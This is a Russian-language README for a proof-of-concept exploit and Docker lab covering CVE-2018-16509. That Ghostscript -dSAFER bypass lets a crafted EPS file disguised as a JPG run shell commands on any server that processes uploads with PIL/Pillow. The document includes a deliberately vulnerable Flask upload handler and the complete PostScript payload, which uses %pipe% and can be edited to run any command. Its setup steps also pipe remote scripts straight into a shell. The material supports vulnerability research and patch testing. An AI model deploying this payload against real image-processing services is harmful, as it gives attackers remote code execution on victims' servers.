
PoC + среда Docker для удаленного выполнения команд оболочки Python PIL/Pillow через Ghostscript CVE-2018-16509
Вдохновлено https://github.com/ysrc/PIL-RCE-By-GhostButt (PIL/Pillow RCE через CVE-2017-8291). В этой среде Docker используется более новая версия Ghostscript (v9.23) и новый эксплойт (CVE-2018-16509).
Ghostscript — это набор программного обеспечения на основе интерпретатора для языков описания страниц Adobe Systems PostScript и Portable Document Format (PDF). Так сложилось, что Ghostscript присутствует на производственном сервере (например, /usr/local/bin/gs), даже если ни одно приложение не использует его напрямую, поскольку Ghostscript устанавливается как зависимость другого программного обеспечения (например, ImageMagick). В Ghostscript был обнаружен ряд уязвимостей; одна из них — CVE-2018-16509 (обнаружена Tavis Ormandy из Google Project Zero) — уязвимость, позволяющая обойти -dSAFER в Ghostscript до версии v9.24 для выполнения произвольных команд путем обработки неудачного восстановления (grestore) в PostScript для отключения LockSafetyParams и избежания invalidaccess. Эта уязвимость доступна через такие библиотеки, как ImageMagick или библиотека изображений в языке программирования с обёрткой Ghostscript (в данном примере PIL/Pillow).
Для тестирования и подтверждения концепции мы можем попробовать эксплойт в среде Docker.
Установите docker/docker-compose на Ubuntu:
# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python
# Install the latest version docker
curl -s https://get.docker.com/ | sh
# Run docker service
service docker start
# Install docker compose
pip install docker-compose
Шаги установки docker и docker-compose для других операционных систем могут незначительно отличаться; подробности смотрите в документации docker.
# Clone the repository
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git
# Enter the directory of repository
cd PIL-RCE-Ghostscript-CVE-2018-16509
# Compile environment
docker-compose build
# Run environment
docker-compose up -d
Уязвимое Flask-приложение доступно по адресу http://127.0.0.1:8000. Вы можете остановить окружение после тестирования.
docker-compose down -v
Вы можете загрузить rce.jpg (специально созданное EPS-изображение, а не настоящий JPG), чтобы выполнить touch /tmp/got_rce на сервере. Для подтверждения можно выполнить docker exec [CONTAINER_ID] ls -alt /tmp. Чтобы получить CONTAINER_ID, проверьте docker container ls. Чтобы изменить выполняемую команду на другую, измените touch /tmp/got_rce непосредственно в файле rce.jpg.
Вы можете обратиться к объяснению уязвимости от Tavis Ormandy в oss-security.
Вы можете проверить исходный код обёртки Ghostscript для PIL/Pillow в EPSImagePlugin.py.
Вот уязвимый код app.py:
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
Содержимое загруженного файла загружается с помощью img = Image.open(img_path). PIL автоматически определит, является ли изображение EPS-изображением (например, добавление %!PS-Adobe-3.0 EPSF-3.0 в начало файла) и вызовет _open() в классе EpsImageFile в EPSImagePlugin.py. Чтобы избежать raise IOError("cannot determine EPS bounding box"), в файл необходимо добавить ограничивающую рамку (например, %%BoundingBox: -0 -0 100 100).
Тело EPS-изображения будет обработано бинарником Ghostscript через subprocess, как мы видим в EPSImagePlugin.py в функции Ghostscript.
# Build Ghostscript command
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
Приведённый выше код вызывается, когда load вызывается в Image.py, поэтому просто открытие изображения не вызовет уязвимость. Такие функции, как resize, crop, rotate и save, вызывают load и запускают уязвимость.
В сочетании с PoC от Tavis Ormandy мы можем создать rce.jpg для удалённого выполнения команд оболочки.
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops